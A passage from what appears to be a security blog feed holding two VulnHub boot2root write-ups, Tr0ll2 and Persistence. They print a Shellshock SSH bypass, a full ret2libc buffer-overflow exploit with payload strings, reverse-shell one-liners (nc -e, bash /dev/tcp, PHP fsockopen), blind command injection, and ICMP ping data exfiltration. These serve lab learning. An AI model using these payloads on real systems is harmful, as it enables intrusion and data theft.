assuming its a key restriction:\nroot@kali:~# ssh noob@192.168.56.101 -i noob -t \u0026#39;() { :;}; /bin/bash\u0026#39; noob@Tr0ll2:~$ id uid=1002(noob) gid=1002(noob) groups=1002(noob) Shocking :) To confirm, the authorized_keys file has the entry command=\u0026quot;echo TRY HARDER LOL!\u0026quot;  before the public key.\nwhich door leads to r00t With shell access to the machine, it was time to start enumerating and learn more about what we are facing next. Nothing particularly interesting popped up, until I noticed a directory /nothing_to_see_here.\n/nothing_to_see_here had another directory inside of it choose_wisely/ with another 3 sub directories called door1, door2 and door3.\nAll 3 \u0026lsquo;doors\u0026rsquo; had a setuid binary called r00t. I ran the first one which had the output:\nnoob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t Good job, stand by, executing root shell... BUHAHAHA NOOB! noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ Broadcast message from noob@Tr0ll2 (/dev/pts/0) at 0:48 ... The system is going down for reboot NOW! Connection to 192.168.56.101 closed by remote host. Connection to 192.168.56.101 closed. Dam. The VM promptly rebooted. Obviously I need to be a little more careful :D\nThe machine rebooted and I logged in again as noob, changing directories to the r00t binaries. I tried to run strings on them, but it seems like the command was unavailable. No worries, next on the list was od.\nnoob@Tr0ll2:/nothing_to_see_here/choose_wisely$ od -S 1 door3/r00t [...] 0001214 __libc_start_main 0001236 GLIBC_2.0 0001320 R 0001453 Q 0001521 % 0001526 h 0001626 h 0001646 h( 0002066 t\u0026amp; 0002073 \u0026#39; 0002305 i 0002620 Good job, stand by, executing root shell... 0002674 BUHAHAHA NOOB! 0002713 /sbin/reboot 0002733 ;0 0002750 L 0002760 p 0003025 zR 0003044 0003060 p 0003077 x [...] So this is the binary that simply rebooted the machine. What is weird though is that this r00t binary was in door1/ prior to the reboot. I continued to check out the other binaries, when suddenly the folder containing all of the files disappeared and reappeared. After this all of the r00t binaries were shuffled around again.\nThis was only a minor annoyance and I had enough time to check out the binaries using od to figure out which one I should be looking at. The other binary that would have been a problem appears to chmod /bin/ls so that it becomes unusable. Lucky I missed that one.\nbof bof bof your boat\u0026hellip; I copied the binary of interest to /tmp so that I wont be bothered by the shuffling thing that was going on again. Most importantly the one of interest was slightly bigger in size compared to the others so it was easy to identify it apart from the others.\nWith the binary in /tmp, noob was the owner. For testing purposes this was ok as the exploit should work the same with the one with the desired permissions.\nTo check the security applied to the binary at compile time, I copied it off using xxd to my local machine and checked it out.\nroot@kali:~# gdb -q ./r00t Reading symbols from /root/Desktop/troll2/r00t...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partia No security? EZ PEZE.\nNext, it was time to start fuzzing the binary and see if it has any interesting behavior:\nnoob@Tr0ll2:/tmp$ ./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; * 500\u0026#39;) Segmentation fault 500 \u0026ldquo;A\u0026rdquo;\u0026rsquo;s, and we have a crash. Perfect. It also seems like a really easy buffer overflow vulnerability. I quickly checked that ASLR was not enabled. If it is not, I planned on popping this one with a ret2libc attack.\nnoob@Tr0ll2:/tmp$ ldd ./r00t linux-gate.so.1 =\u0026gt; (0xb7fff000) libc.so.6 =\u0026gt; /lib/i386-linux-gnu/libc.so.6 (0xb7e4e000) /lib/ld-linux.so.2 (0x80000000) noob@Tr0ll2:/tmp$ ldd ./r00t linux-gate.so.1 =\u0026gt; (0xb7fff000) libc.so.6 =\u0026gt; /lib/i386-linux-gnu/libc.so.6 (0xb7e4e000) /lib/ld-linux.so.2 (0x80000000) Both entries returned the same address for libc, indicating that ASLR was not enabled :) Tr0ll2 was also nice enough to include gdb, making the exploit development process very easy.\nthe exploit With all of the information gathered so far about this particularly interesting r00t binary, it was time to quickly write the overflow exploit to attempt and spawn us a root shell.\nFirst, we have to inspect the crash when we send those 500 A\u0026rsquo;s\nnoob@Tr0ll2:/tmp$ gdb -q ./r00t Reading symbols from /tmp/r00t...done. (gdb) r $(python -c \u0026#39;print \u0026#34;A\u0026#34; * 500\u0026#39;) Starting program: /tmp/r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; * 500\u0026#39;) Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) x/x $eip 0x41414141: Cannot access memory at address 0x41414141 We see that we have cleanly overwritten EIP with our hex representation of A\u0026rsquo;s. We don\u0026rsquo;t know the exact location of where this is overwritten from our input yet, so lets find out by providing it a unique buffer using the metasploit pattern_create script, and then checking the offset using the pattern_offset script.\nLets generate the pattern.\nroot@kali:~# locate pattern_create /usr/share/metasploit-framework/tools/pattern_create.rb root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 500 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq Next, we provide this pattern as input to crash the application and inspect the registers:\nnoob@Tr0ll2:/tmp$ gdb -q ./r00t Reading symbols from /tmp/r00t...done. (gdb) r \u0026#34;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq\u0026#34; Starting program: /tmp/r00t \u0026#34;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq\u0026#34; Program received signal SIGSEGV, Segmentation fault. 0x6a413969 in ?? () So we crashed at 0x6a413969. Lets check the offset of this in our buffer.\nroot@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 6a413969 [*] Exact match at offset 268 So at byte 268 we start to override EIP cleanly. We can test this to make sure our calculations were correct by replacing that section with B\u0026rsquo;s:\nnoob@Tr0ll2:/tmp$ gdb -q ./r00t Reading symbols from /tmp/r00t...done. (gdb) r $(python -c \u0026#39;print \u0026#34;A\u0026#34; *268 + \u0026#34;BBBB\u0026#34;\u0026#39;) The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tmp/r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; *268 + \u0026#34;BBBB\u0026#34;\u0026#39;) Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/x $eip 0x42424242: Cannot access memory at address 0x42424242 (gdb) So with that done, we can deduce that we can cleanly override EIP at offset 268.\nThe next part we need to get is the location of system() from within libc. We can leak this address quite easily by inspecting the memory from a running application such as r00t linked to it:\nnoob@Tr0ll2:/tmp$ gdb -q ./r00t Reading symbols from /tmp/r00t...done. (gdb) b *main # here we break on the main function Breakpoint 1 at 0x8048444: file bof.c, line 3. (gdb) r # here we run the application.... Starting program: /tmp/r00t Breakpoint 1, main (argc=1, argv=0xbffffd84) at bof.c:3 3 bof.c: No such file or directory. (gdb) p system # and leak the locatin of system() in memory $1 = {\u0026lt;text variable, no debug info\u0026gt;} 0xb7e6b060 \u0026lt;system\u0026gt; So system() lives at 0xb7e6b060. We are going to point EIP here and provide it a argument from a environment variable. I don\u0026rsquo;t really care if the application exits cleanly, however you can easily get that right by leaking the location of exit() too and placing that as the ret address in the exploit. I just like to type JUNK ;)\nSo far our exploit payload will look something like this:\nA * 268 + system() + JUNK The last thing we need is a argument for system() on the stack so that it can execute that. One way of achieving this is to provide the memory location of a string such as /bin/sh. We can easily set an environment variable with this string, locate it in memory and use that.\nSo lets create this string, which we will refer to as the EGG.\nnoob@Tr0ll2:/tmp$ export EGG=/bin/sh noob@Tr0ll2:/tmp$ env | grep EGG EGG=/bin/sh Next, we can use a small C program to tell us where this EGG is in memory:\nnoob@Tr0ll2:/tmp$ cat /tmp/findegg.c #include \u0026lt;unistd.h\u0026gt; int main(void) { printf(\u0026#34;EGG address: 0x%lx\\n\u0026#34;, getenv(\u0026#34;EGG\u0026#34;)+4); return 0; } noob@Tr0ll2:/tmp$ gcc /tmp/findegg.c -o /tmp/findegg [...] noob@Tr0ll2:/tmp$ /tmp/findegg EGG address: 0xbfffff04 So our egg lives at 0xbfffff04. This memory address will probably be different for you if you try, but the process to find it remains the same. We also have to keep in mind that the environment will be slightly different when we execute our exploit in and out of gdb.\nWith everything we need, we can deduce that our exploit payload will end up being something like this:\nA * 268 + system() + JUNK + EGG Lets get the python version of that written up and sent to our vulnerable binary (addresses are written \u0026lsquo;backwards\u0026rsquo; due to the little endian format of the CPU):\nnoob@Tr0ll2:/tmp$ ./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; *268 + \u0026#34;\\x60\\xb0\\xe6\\xb7\u0026#34; + \u0026#34;JUNK\u0026#34; + \u0026#34;\\x04\\xff\\xff\\xbf\u0026#34;\u0026#39;) Segmentation fault Wups, segfault. You will find that this is probably because the location of our EGG in memory did not compensate for the length of the binary name. Our binary is called r00t, which is 4 chars long, so maybe we need to move the location of our EGG up with up to 4 bytes. For demonstration purposes I am going to show all the attempts for each byte:\n# so just to recap, we check for the location of the EGG noob@Tr0ll2:/tmp$ ./findegg EGG address: 0xbfffff04 # EGG is at 0xbfffff04, so in little endian format we have: noob@Tr0ll2:/tmp$ ./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; *268 + \u0026#34;\\x60\\xb0\\xe6\\xb7\u0026#34; + \u0026#34;JUNK\u0026#34; + \u0026#34;\\x04\\xff\\xff\\xbf\u0026#34;\u0026#39;) Segmentation fault # A segfault, lets move it up 1 byte noob@Tr0ll2:/tmp$ ./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; *268 + \u0026#34;\\x60\\xb0\\xe6\\xb7\u0026#34; + \u0026#34;JUNK\u0026#34; + \u0026#34;\\x05\\xff\\xff\\xbf\u0026#34;\u0026#39;) sh: 1: =/bin/sh: not found Segmentation fault # another segfault, however we have a little diagnostics message now # showing that we are not far off :) noob@Tr0ll2:/tmp$ ./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; *268 + \u0026#34;\\x60\\xb0\\xe6\\xb7\u0026#34; + \u0026#34;JUNK\u0026#34; + \u0026#34;\\x06\\xff\\xff\\xbf\u0026#34;\u0026#39;) $ trollin the rootin So 0xbfffff06 as a EGG location will give us shell in our testing! To finish off then, I have to find the correct r00t binary in all of the door{1,2,3} folders and attempt my exploit there:\nnoob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; *268 + \u0026#34;\\x60\\xb0\\xe6\\xb7\u0026#34; + \u0026#34;JUNK\u0026#34; + \u0026#34;\\x06\\xff\\xff\\xbf\u0026#34;\u0026#39;) sh: 1: in:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games: not found Segmentation fault Another segmentation fault! This time we seem to be waaaaaaaay off too. This is because of the PWD changing so drastically. To fix this, we simply rerun our findegg program and compensate for the binary name. When completing this, I had a successful run as follows:\nnoob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34; *268 + \u0026#34;\\x60\\xb0\\xe6\\xb7\u0026#34; + \u0026#34;JUNK\u0026#34; + \u0026#34;\\xe2\\xfe\\xff\\xbf\u0026#34;\u0026#39;) # id uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob) This time I had to move the memory location for for my EGG on by quite a few bytes, in fact from 0xbffffeda all the way to 0xbffffee2\nAs I was now root, I may cat the Proof.txt in /root\n# cat /root/Proof.txt You win this time young Jedi... a70354f0258dcc00292c72aab3c8b1e4 Thanks @Maleus21 for the fun VM and VulnHub for the hosting :)\n","permalink":"https://leonjza.github.io/blog/2014/10/10/another-troll-tamed-solving-troll-2/","summary":"\u003ch2 id=\"foreword\"\u003eforeword\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://www.vulnhub.com/entry/tr0ll-2,107/\"\u003eTr0ll2\u003c/a\u003e is a successor in a boot2root series by \u003ca href=\"https://twitter.com/Maleus21\"\u003e@Maleus21\u003c/a\u003e hosted over at \u003ca href=\"http://vulnhub.com/\"\u003eVulnHub\u003c/a\u003e. Having been able to \u003ca href=\"https://leonjza.github.io/blog/2014/08/15/taming-the-troll/\"\u003epwn Tr0ll1\u003c/a\u003e, I gave this one a shot too.\u003c/p\u003e\n\u003cp\u003eHere is my experience taming the troll, again.\u003c/p\u003e","title":"another troll tamed solving troll 2"},{"content":"persist we must! Persistence! A new boot2root hosted @VulnHub, authored by @superkojiman and sagi- definitely got the attention from the community it deserves! Persistence was actually part of a writeup competition launched on September the 7th, and ran up until October th 5th.\nThis is my experience while trying to complete the challenge. Persistence, once again, challenged me to learn about things that would normally have me just go \u0026ldquo;meh, next\u0026rdquo;. As expected, this post is also a very big spoiler if you have not completed it yourself yet, so be warned!\nlets get our hands dirty As usual, the goto tool was Kali Linux, and the normal steps of adding the OVA image to Virtualbox, booting, finding the assigned IP and running a Nmap scan against it was used.\nMy VM got the IP 192.168.56.104, and the first Nmap result was:\nroot@kali:~# nmap 192.168.56.104 --reason -sV -p- Starting Nmap 6.46 ( http://nmap.org ) at 2014-09-18 07:01 SAST Nmap scan report for 192.168.56.104 Host is up, received reset (0.0037s latency). Not shown: 65534 filtered ports Reason: 65534 no-responses PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack nginx 1.4.7 Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 4131.90 seconds Not exactly much to work with, but its something at least! We know now that according to the web server banners, we are facing nginx. A welcome change to the usual apache stuff we see! A quick and nasty Google for nginx 1.4.7 exploits also did not return with any really interesting results. Not a problem really.\nBrowsing to the site did not reveal anything interesting. A creepy image of melting clocks (what\u0026hellip;) with the page sources serving it being minimal and uninteresting too. Manually poking about the web paths (for things like robots.txt etc) also did not reveal anything. The first hint however came when I fiddled with the index page location.\nBy default, most web servers will serve the default index page when no location is specified from the web root. So, I tried index.html, and got the normal landing. When I requested index.php though, things changed drastically:\nroot@kali:~# curl -v 192.168.56.104/index.php * About to connect() to 192.168.56.104 port 80 (#0) * Trying 192.168.56.104... * connected * Connected to 192.168.56.104 (192.168.56.104) port 80 (#0) \u0026gt; GET /index.php HTTP/1.1 \u0026gt; User-Agent: curl/7.26.0 \u0026gt; Host: 192.168.56.104 \u0026gt; Accept: */* * additional stuff not fine transfer.c:1037: 0 0 * HTTP 1.1 or later with persistent connection, pipelining supported \u0026lt; HTTP/1.1 404 Not Found \u0026lt; Server: nginx/1.4.7 \u0026lt; Date: Thu, 18 Sep 2014 07:28:18 GMT \u0026lt; Content-Type: text/html \u0026lt; Transfer-Encoding: chunked \u0026lt; Connection: keep-alive \u0026lt; X-Powered-By: PHP/5.3.3 No input file specified. * Connection #0 to host 192.168.56.104 left intact * Closing connection #0 As can be seen in the output above, the header X-Powered-By: PHP/5.3.3 is now present, and the output No input file specified.. I recognized this as the behavior of Nginx when PHP-FPM is unable to locate the .php file it should be serving.\nfinding that (de)bugger With this information now gathered, it was time to pull out one of my favorite tools, wfuzz! With wfuzz, the plan now was to attempt and discover a potentially interesting web path, or, because I know the web server has the capability of serving up PHP content, attempt to find arb PHP scripts.\nMy first attempt to search for web paths failed pretty badly. All of the requests responded with a 404. Luckily I was aware of the PHP capabilities, so I set to find arbritary PHP scripts by appending .php to my FUZZ keyword:\nroot@kali:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/medium.txt --hc 404 http://192.168.56.104/FUZZ.php ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://192.168.56.104/FUZZ.php Payload type: file,/usr/share/wordlists/wfuzz/general/medium.txt Total requests: 1660 ================================================================== ID Response Lines Word Chars Request ================================================================== 00434: C=200 12 L 28 W 357 Ch \u0026#34; - debug\u0026#34; Yay. wfuzz is stupidly fast and finished the above in like 4 seconds. Browsing to http://192.168.56.101/debug.php showed us a input field labeled \u0026ldquo;Ping address:\u0026rdquo; and a submit button\n  \u0026ldquo;Command injection?\u0026rdquo;, was the first thought here.\nblind command injection I started by entering a valid IP address that had tcpdump listening to test if the script is actually running a ping like it says \u0026hellip;\nroot@kali:~# tcpdump icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 07:46:15.503023 IP 192.168.56.104 \u0026gt; 192.168.56.102: ICMP echo request, id 64004, seq 1, length 64 07:46:15.503040 IP 192.168.56.102 \u0026gt; 192.168.56.104: ICMP echo reply, id 64004, seq 1, length 64 07:46:16.503729 IP 192.168.56.104 \u0026gt; 192.168.56.102: ICMP echo request, id 64004, seq 2, length 64 07:46:16.503768 IP 192.168.56.102 \u0026gt; 192.168.56.104: ICMP echo reply, id 64004, seq 2, length 64 07:46:17.503180 IP 192.168.56.104 \u0026gt; 192.168.56.102: ICMP echo request, id 64004, seq 3, length 64 07:46:17.503260 IP 192.168.56.102 \u0026gt; 192.168.56.104: ICMP echo reply, id 64004, seq 3, length 64 07:46:18.502811 IP 192.168.56.104 \u0026gt; 192.168.56.102: ICMP echo request, id 64004, seq 4, length 64 07:46:18.502842 IP 192.168.56.102 \u0026gt; 192.168.56.104: ICMP echo reply, id 64004, seq 4, length 64 \u0026hellip; which it was. What is important to note here is that we have 4 echo requests.\nI then proceeded to modify the input attempting to execute other commands too. None of my attempts returned any output to the browser, however, sending the field ;exit 0; caused the HTTP request to complete almost instantly while no ping requests were observed on the tcpdump. This had me certain that this field was vulnerable to a command injection vulnerability.\nThis is all good, but not getting any output makes it really had to work with this. So, the next steps were to try and get a reverse/bind shell out of this command injection vulnerability.\nI tried the usual culprits: nc \u0026lt;ip\u0026gt; \u0026lt;port\u0026gt; -e /bin/bash; bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;ip\u0026gt;/\u0026lt;port\u0026gt; 0\u0026gt;\u0026amp;1; php -r '$sock=fsockopen(\u0026quot;\u0026lt;ip\u0026gt;\u0026quot;,\u0026lt;port\u0026gt;);exec(\u0026quot;/bin/sh -i \u0026lt;\u0026amp;3 \u0026gt;\u0026amp;3 2\u0026gt;\u0026amp;3\u0026quot;);'. None of them worked. Eventually I started to realize that I may have a much bigger problem here. What if none of these programs (nc/bash/php) are either not executable by me or simply not in my PATH? What if there was a egress packet filter configured?\nblind command injection - file enumeration Ok, so I took one step back and had to rethink my strategy. I have blind command execution, but how am I going to find out what else is going on on the filesystem? Up to now I have simply assumed too much.\nI thought I should try and see if I can confirm the existence of files. To do this, I used a simple bash if [ -f /file ] statement, with a single ping for success, and 2 pings for a failure. The string for the debug.php input field looked something like this:\n;if [ -f /bin/sh ] ; then ping 192.168.56.102 -c 1 ; else ping 192.168.56.102 -c 2 ; fi Submitting the above input presented me with a single ping, confirming that /bin/sh exists.\nroot@kali:~# tcpdump icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 08:15:53.557994 IP 192.168.56.104 \u0026gt; 192.168.56.102: ICMP echo request, id 63493, seq 1, length 64 08:15:53.558011 IP 192.168.56.102 \u0026gt; 192.168.56.104: ICMP echo reply, id 63493, seq 1, length 64 Checking for something like /bin/sh2 responded with 2 pings, as expected. Awesome. I can now enumerate the existence of files. The concept itself is probably pretty useless, however, if I can confirm the existence of something useful, such as /bin/nc, I may end up with greater success of a shell!\nI continued to test numerous files on numerous locations on disk. I noticed a few files that would generally be available on most Linux systems were not available according to my checker which was really odd. It actually had me doubt the check too. Nonetheless, /usr/bin/python appeared to be available! I really like python so this had me really happy.\nblind command injection - port scanner I tested a few commands with python -c, such as sleep etc just to confirm that it is working. I then proceeded to try and get a reverse shell going using it.\nNo. Luck.\nI no longer doubted the fact that I had a working interpreter, however, the question about a egress firewall still remains unanswered. To test this, I decided to code a small, cheap-and-nasty port \u0026lsquo;prober\u0026rsquo; so that I can try and determine which port is open outgoing. The idea was to watch my tcpdump for any tcp traffic comming from this host:\nimport socket for port in xrange(1, 65535): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.1) sock.connect_ex((\u0026#34;192.168.56.102\u0026#34;, port)) sock.close() Using my blind command injection, I echoed this content to /tmp/probe.py via the input field, and then in a subsequent request, ran it using python /tmp/probe.py. I was relatively certain the script was running as intended as it took the expected amount of time (similar to when I was testing locally) to complete the HTTP request. According to my prober (and assuming it actually worked), there were 0 tcp ports open\u0026hellip;\ndata exfiltration With no tcp out, I had to once again rethink what I have up to now. The only output I have atm is a true/false scenario. Hardly sufficient to do anything useful. I found the debug.php file on disk and tried to echo a PHP web shell to the same directory. This also failed.\nSo, only ping eh. I recall something about ping tunnels/ping shells/ping something. So, I googled some of these solutions. There were a number of things I could try, however, I was wondering how the actual data transport was happening for these things.\nEventually, I came across the -p argument for ping after reading this blogpost. From man 8 ping we read:\n-p pattern You may specify up to 16 ``pad\u0026#39;\u0026#39; bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network. For example, ``-p ff\u0026#39;\u0026#39; will cause the sent packet to be filled with all ones. So that changes things. I quickly confirmed that we have xxd available using my previous enumeration method and we did. Great.\nI fired up tcpdump with the -X flag to show me the packet contents, and tested it out with the following payload for the id command:\n;id| xxd -p -c 16 | while read line; do ping -p $line -c 1 -q 192.168.56.102; done On the tcpdump side of things\u0026hellip;\nroot@kali:~/Desktop# tcpdump icmp -X tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 09:18:14.439222 IP 192.168.56.104 \u0026gt; 192.168.56.102: ICMP echo request, id 6920, seq 1, length 64 0x0000: 4500 0054 0000 4000 4001 488a c0a8 3868 E..T..@.@.H...8h 0x0010: c0a8 3866 0800 4b5b 1b08 0001 56a3 1a54 ..8f..K[....V..T 0x0020: f357 0a00 6e67 696e 7829 2067 7569 643d .W..nginx).guid= 0x0030: 3439 3828 6e67 696e 7829 2067 7569 643d 498(nginx).guid= 0x0040: 3439 3828 6e67 696e 7829 2067 7569 643d 498(nginx).guid= 0x0050: 3439 3828 498( 09:18:14.439248 IP 192.168.56.102 \u0026gt; 192.168.56.104: ICMP echo reply, id 6920, seq 1, length 64 0x0000: 4500 0054 a049 0000 4001 e840 c0a8 3866 E..T.I..@..@..8f 0x0010: c0a8 3868 0000 535b 1b08 0001 56a3 1a54 ..8h..S[....V..T 0x0020: f357 0a00 6e67 696e 7829 2067 7569 643d .W..nginx).guid= 0x0030: 3439 3828 6e67 696e 7829 2067 7569 643d 498(nginx).guid= 0x0040: 3439 3828 6e67 696e 7829 2067 7569 643d 498(nginx).guid= 0x0050: 3439 3828 498( 09:18:14.440365 IP 192.168.56.104 \u0026gt; 192.168.56.102: ICMP echo request, id 7176, seq 1, length 64 0x0000: 4500 0054 0000 4000 4001 488a c0a8 3868 E..T..@.@.H...8h 0x0010: c0a8 3866 0800 318a 1c08 0001 56a3 1a54 ..8f..1.....V..T 0x0020: e35a 0a00 6769 6e78 2920 6772 6964 3d34 .Z..ginx).grid=4 0x0030: 3938 286e 6769 6e78 2920 6772 6964 3d34 98(nginx).grid=4 0x0040: 3938 286e 6769 6e78 2920 6772 6964 3d34 98(nginx).grid=4 0x0050: 3938 286e 98(n 09:18:14.440382 IP 192.168.56.102 \u0026gt; 192.168.56.104: ICMP echo reply, id 7176, seq 1, length 64 0x0000: 4500 0054 a04a 0000 4001 e83f c0a8 3866 E..T.J..@..?..8f 0x0010: c0a8 3868 0000 398a 1c08 0001 56a3 1a54 ..8h..9.....V..T 0x0020: e35a 0a00 6769 6e78 2920 6772 6964 3d34 .Z..ginx).grid=4 0x0030: 3938 286e 6769 6e78 2920 6772 6964 3d34 98(nginx).grid=4 0x0040: 3938 286e 6769 6e78 2920 6772 6964 3d34 98(nginx).grid=4 0x0050: 3938 286e 98(n 09:18:14.441191 IP 192.168.56.104 \u0026gt; 192.168.56.102: ICMP echo request, id 7432, seq 1, length 64 0x0000: 4500 0054 0000 4000 4001 488a c0a8 3868 E..T..@.@.H...8h 0x0010: c0a8 3866 0800 ed92 1d08 0001 56a3 1a54 ..8f........V..T 0x0020: f95d 0a00 286e 6769 6e78 290a 6f75 7073 .]..(nginx).oups 0x0030: 3d34 3938 286e 6769 6e78 290a 6f75 7073 =498(nginx).oups 0x0040: 3d34 3938 286e 6769 6e78 290a 6f75 7073 =498(nginx).oups 0x0050: 3d34 3938 =498 09:18:14.441198 IP 192.168.56.102 \u0026gt; 192.168.56.104: ICMP echo reply, id 7432, seq 1, length 64 0x0000: 4500 0054 a04b 0000 4001 e83e c0a8 3866 E..T.K..@..\u0026gt;..8f 0x0010: c0a8 3868 0000 f592 1d08 0001 56a3 1a54 ..8h........V..T 0x0020: f95d 0a00 286e 6769 6e78 290a 6f75 7073 .]..(nginx).oups 0x0030: 3d34 3938 286e 6769 6e78 290a 6f75 7073 =498(nginx).oups 0x0040: 3d34 3938 286e 6769 6e78 290a 6f75 7073 =498(nginx).oups 0x0050: 3d34 3938 =498 Mind. Blown.\nIn case you don\u0026rsquo;t see it, we have extracts of the id command in the request/response packets like 98(nginx).grid=4. While this is not really fun to decipher, and with commands that produce a lot of output even worse, it was in fact something to work with!\nI fiddled around with this for a little while longer, trying to make the output a little more readable. Eventually I fired up scapy and just printed the data section of the packet. Not much better, but with a little more effort I am sure you can get something very workable out of it.\n\u0026gt;\u0026gt;\u0026gt; sniff(filter=\u0026#34;icmp[icmptype] == 8 and host 192.168.56.104\u0026#34;, prn=lambda x: x.load) ؤ\u001aT�nginx) guid=498(nginx) guid=498(nginx) guid=498( ؤ\u001aT ginx) grid=498(nginx) grid=498(nginx) grid=498(n ؤ\u001aT�(nginx) oups=498(nginx) oups=498(nginx) oups=498 sysadmin-tool So with actual output to work with, I can almost say I have shell, however, it\u0026rsquo;s crap. Here I had many options to go for. Do I try and get one of those ping tunnels up to shell with? Or something else.\nAt one stage I ran ls as the command trying to see if there was anything in the web path that I may not have found yet. A file called sysadmin-tool was revealed. I browsed to the file which pushed it as a download for me, and saved it locally. I then ran the bin through strings:\nroot@kali:~# strings sysadmin-tool /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used chroot strncmp puts setreuid mkdir rmdir chdir system __libc_start_main GLIBC_2.0 PTRh [^_] Usage: sysadmin-tool --activate-service --activate-service breakout /bin/sed -i \u0026#39;s/^#//\u0026#39; /etc/sysconfig/iptables /sbin/iptables-restore \u0026lt; /etc/sysconfig/iptables Service started... Use avida:dollars to access. /nginx/usr/share/nginx/html/breakout From this alone we can deduce that when run, it may modify the firewall. It also looks like it contains some credentials, so I took note of those too. I then tried to run the command, followed by a nmap scan:\n;./sysadmin-tool --activate-service| xxd 